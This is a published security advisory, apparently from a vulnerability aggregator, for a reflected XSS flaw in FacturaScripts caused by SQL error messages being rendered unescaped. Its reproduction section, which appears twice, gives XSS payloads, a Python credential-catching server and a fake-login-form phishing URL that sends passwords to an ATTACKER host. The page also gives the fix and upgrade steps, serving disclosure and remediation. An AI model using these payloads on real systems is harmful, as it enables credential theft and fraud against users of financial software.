CVE-2026-23476: Facturascripts/facturascripts Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-g6w2-q45f-xrp4
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2026-23476 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Facturascripts/facturascripts libraries in the Packagist ecosystem. The issue involves facturascripts is vulnerable to reflected xss. Remediation is available by upgrading affected packages to version 2025.81.

CVE-2026-23476 at a Glance

CVE Identifier CVE-2026-23476
GHSA Identifier GHSA-g6w2-q45f-xrp4
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Facturascripts/facturascripts
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-23476

To remediate this vulnerability, upgrade all affected Facturascripts/facturascripts dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

facturascripts/facturascripts fixed: 2025.81
Upgrade facturascripts/facturascripts to 2025.81
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for facturascripts/facturascripts

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-23476, inspect your project dependencies for Facturascripts/facturascripts:

inspect dependencies for facturascripts/facturascripts

Analyze the terminal output to locate any version of Facturascripts/facturascripts in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2025.81), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Facturascripts/facturascripts, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Reflected XSS via SQL Error Messages ## Summary A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's `| raw` filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization. Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form). **CVSS 6.1 (Medium-High)** --- ## What was Found ### Where the bug exists in the code: `Core/View/Macro/Utils.html.twig`, line 27: ```twig {% for item in messages %} <div>{{ item.message | raw }}</div> {% endfor %} ``` That `| raw` is the problem. It tells Twig not to escape anything. ### How it works So here's what happens: 1. Hhit `/EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)>` 2. The app tries to look up a product with that "code" 3. PostgreSQL throws an error because `<svg onload=alert(1)>` isn't a valid integer 4. The error goes something like: ``` ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>" LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>" ``` 5. This gets logged via MiniLog and displayed to the user 6. Because of `| raw`, the browser actually executes the JS The error logging happens in `Core/Base/DataBase.php` around line 236: ```php self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]); ``` And PostgreSQL's error message includes whatever garbage it was sent. --- ## Reproduction Steps ### Requirements - Working FacturaScripts install - Any user account (doesn't need to be admin) - The victim needs to be logged in ### Quick test Just visit this URL while logged in: ``` http://localhost/EditProducto?code=<svg onload=alert(document.domain)> ``` An alert box should pop up. ### For a real attack (credential phishing) Set up a simple server to catch credentials: ```python from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs class Handler(BaseHTTPRequestHandler): def do_GET(self): q = parse_qs(urlparse(self.path).query) print(f"\nGot creds:") print(f" User: {q.get('user', ['?'])[0]}") print(f" Pass: {q.get('pass', ['?'])[0]}") self.send_response(200) self.end_headers() def log_message(self, *args): pass HTTPServer(('', 8888), Handler).serve_forever() ``` Then craft a URL that injects a fake login form: ``` http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'"> ``` Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed. ### Other endpoints that work Pretty much anything that uses the `code` parameter: - `/EditProducto?code=` - `/EditCliente?code=` - `/EditFacturaCliente?code=` - `/EditProveedor?code=` - etc. Basically all the Edit controllers. --- ## Impact ### What attackers can do with this **Steal credentials** - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password. **Read page data** - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere. **Keylog** - Inject a keylogger that captures everything they type. **Bypass CSRF** - Grab the `multireqtoken` from the page and make requests as the victim. ### What attackers CAN'T do Can't steal session cookies via `document.cookie` - they're HttpOnly. ### Business side This is a financial app, so if attackers compromise an admin account, the following is possible to create or expose: - Fake invoices - Redirected payments - Customer data breach (GDPR stuff) - The usual mess --- ## Fix ### Quick fix Just remove `| raw` from line 27 in `Core/View/Macro/Utils.html.twig`: ```diff - <div>{{ item.message | raw }}</div> + <div>{{ item.message }}</div> ``` That's it. Twig escapes by default, so removing `| raw` fixes the XSS. ### If projects want to be thorough 1. Sanitize messages before they go into the log: ```php $message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8'); ``` 2. Add CSP headers to block inline scripts as a backup 3. Maybe validate the `code` parameter format before it hits the database --- ## Resources - https://cwe.mitre.org/data/definitions/79.html - https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html --- **Found:** Dec 31, 2025 **Tested on:** FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest) <img width="1917" height="868" alt="1" src="https://github.com/user-attachments/assets/a7d770c8-1d61-499c-83dc-e21be8e61c87" /> <img width="337" height="130" alt="3" src="https://github.com/user-attachments/assets/463067ee-3a73-45ed-af26-c32264d5bf41" /> <img width="1915" height="870" alt="phising" src="https://github.com/user-attachments/assets/6e15a021-dc5f-4708-bdd1-887ecb2d2ffb" /> <img width="1915" height="862" alt="phising2" src="https://github.com/user-attachments/assets/100a63b6-c066-43d5-ab39-6085f51ba282" /> <img width="1918" height="877" alt="sql erroe" src="https://github.com/user-attachments/assets/4c3182ba-380d-44d4-ab34-4b0840ad3e39" /> <img width="1165" height="277" alt="version" src="https://github.com/user-attachments/assets/5f23e4de-cf03-4fcf-a6c5-6ca327c8c43a" />

CVE-2026-23476 Affected Facturascripts/facturascripts Versions

1 component(s)
Fixed Versions:
2025.81
Product / Package Ecosystem Affected Versions Fixed Version
facturascripts/facturascripts
Packagist
< 2025.81
2025.81

References

Frequently Asked Questions

What is CVE-2026-23476?
CVE-2026-23476 is a security vulnerability in Facturascripts/facturascripts involving FacturaScripts is Vulnerable to Reflected XSS under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Facturascripts/facturascripts versions are affected?
Affected versions include releases prior to 2025.81 across affected packages: facturascripts/facturascripts.
What version fixes CVE-2026-23476?
Upgrading to 2025.81 (or the latest patched release for your respective branch) resolves the vulnerability.
Is facturascripts/facturascripts affected?
Yes, facturascripts/facturascripts is affected in releases prior to 2025.81. Upgrade your dependency to 2025.81 or later.
What is the CVSS score of CVE-2026-23476?
CVE-2026-23476 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-23476?
CVE-2026-23476 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-23476?
Run the dependency tree command: 'inspect dependencies for facturascripts/facturascripts'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g6w2-q45f-xrp4",
  "modified" : "2026-02-03T16:09:58Z",
  "published" : "2026-02-02T18:00:43Z",
  "aliases" : [ "CVE-2026-23476" ],
  "summary" : "FacturaScripts is Vulnerable to Reflected XSS",
  "details" : "# Reflected XSS via SQL Error Messages\n\n## Summary\n\nA reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's `| raw` filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.\n\nAttackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).\n\n**CVSS 6.1 (Medium-High)**\n\n---\n\n## What was Found\n\n### Where the bug exists in the code:\n\n`Core/View/Macro/Utils.html.twig`, line 27:\n\n```twig\n{% for item in messages %}\n    <div>{{ item.message | raw }}</div>\n{% endfor %}\n```\n\nThat `| raw` is the problem. It tells Twig not to escape anything.\n\n### How it works\n\nSo here's what happens:\n\n1. Hhit `/EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)>`\n2. The app tries to look up a product with that \"code\"\n3. PostgreSQL throws an error because `<svg onload=alert(1)>` isn't a valid integer\n4. The error goes something like:   ```\n   ERROR: invalid input syntax for type integer: \"<svg onload=alert(1)>\"\n   LINE 1: SELECT * FROM \"productos\" WHERE \"idproducto\" = '<img src=x onerror=alert(1)>\"\n   ```\n5. This gets logged via MiniLog and displayed to the user\n6. Because of `| raw`, the browser actually executes the JS\n\nThe error logging happens in `Core/Base/DataBase.php` around line 236:\n\n```php\nself::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);\n```\n\nAnd PostgreSQL's error message includes whatever garbage it was sent.\n\n---\n\n## Reproduction Steps\n\n### Requirements\n- Working FacturaScripts install\n- Any user account (doesn't need to be admin)\n- The victim needs to be logged in\n\n### Quick test\n\nJust visit this URL while logged in:\n```\nhttp://localhost/EditProducto?code=<svg onload=alert(document.domain)>\n```\n\nAn alert box should  pop up.\n\n### For a real attack (credential phishing)\n\nSet up a simple server to catch credentials:\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom urllib.parse import urlparse, parse_qs\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        q = parse_qs(urlparse(self.path).query)\n        print(f\"\\nGot creds:\")\n        print(f\"  User: {q.get('user', ['?'])[0]}\")\n        print(f\"  Pass: {q.get('pass', ['?'])[0]}\")\n        self.send_response(200)\n        self.end_headers()\n    def log_message(self, *args): pass\n\nHTTPServer(('', 8888), Handler).serve_forever()\n```\n\nThen craft a URL that injects a fake login form:\n\n```\nhttp://TARGET/EditProducto?code=<svg onload=\"document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'\">\n```\n\nSend that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.\n\n### Other endpoints that work\n\nPretty much anything that uses the `code` parameter:\n- `/EditProducto?code=`\n- `/EditCliente?code=`\n- `/EditFacturaCliente?code=`\n- `/EditProveedor?code=`\n- etc.\n\nBasically all the Edit controllers.\n\n---\n\n## Impact\n\n### What attackers can do with this\n\n**Steal credentials** - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.\n\n**Read page data** - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.\n\n**Keylog** - Inject a keylogger that captures everything they type.\n\n**Bypass CSRF** - Grab the `multireqtoken` from the page and make requests as the victim.\n\n### What attackers CAN'T do\n\nCan't steal session cookies via `document.cookie` - they're HttpOnly.\n\n### Business side\n\nThis is a financial app, so if attackers compromise an admin account, the following is possible to create or expose:\n- Fake invoices\n- Redirected payments  \n- Customer data breach (GDPR stuff)\n- The usual mess\n\n---\n\n## Fix\n\n### Quick fix\n\nJust remove `| raw` from line 27 in `Core/View/Macro/Utils.html.twig`:\n\n```diff\n-    <div>{{ item.message | raw }}</div>\n+    <div>{{ item.message }}</div>\n```\n\nThat's it. Twig escapes by default, so removing `| raw` fixes the XSS.\n\n### If projects want to be thorough\n\n1. Sanitize messages before they go into the log:\n```php\n$message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');\n```\n\n2. Add CSP headers to block inline scripts as a backup\n\n3. Maybe validate the `code` parameter format before it hits the database\n\n---\n\n## Resources\n\n- https://cwe.mitre.org/data/definitions/79.html\n- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n\n---\n\n**Found:** Dec 31, 2025  \n**Tested on:** FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest)\n<img width=\"1917\" height=\"868\" alt=\"1\" src=\"https://github.com/user-attachments/assets/a7d770c8-1d61-499c-83dc-e21be8e61c87\" />\n<img width=\"337\" height=\"130\" alt=\"3\" src=\"https://github.com/user-attachments/assets/463067ee-3a73-45ed-af26-c32264d5bf41\" />\n<img width=\"1915\" height=\"870\" alt=\"phising\" src=\"https://github.com/user-attachments/assets/6e15a021-dc5f-4708-bdd1-887ecb2d2ffb\" />\n<img width=\"1915\" height=\"862\" alt=\"phising2\" src=\"https://github.com/user-attachments/assets/100a63b6-c066-43d5-ab39-6085f51ba282\" />\n<img width=\"1918\" height=\"877\" alt=\"sql erroe\" src=\"https://github.com/user-attachments/assets/4c3182ba-380d-44d4-ab34-4b0840ad3e39\" />\n<img width=\"1165\" height=\"277\" alt=\"version\" src=\"https://github.com/user-attachments/assets/5f23e4de-cf03-4fcf-a6c5-6ca327c8c43a\" />",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "facturascripts/facturascripts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2025.81"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-g6w2-q45f-xrp4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23476"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NeoRazorX/facturascripts/commit/2afd98cecd26c5f8357e0e321d86063ad1012fc3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/NeoRazorX/facturascripts"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NeoRazorX/facturascripts/releases/tag/v2025.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-02T18:00:43Z",
    "nvd_published_at" : "2026-02-02T23:16:07Z"
  }
}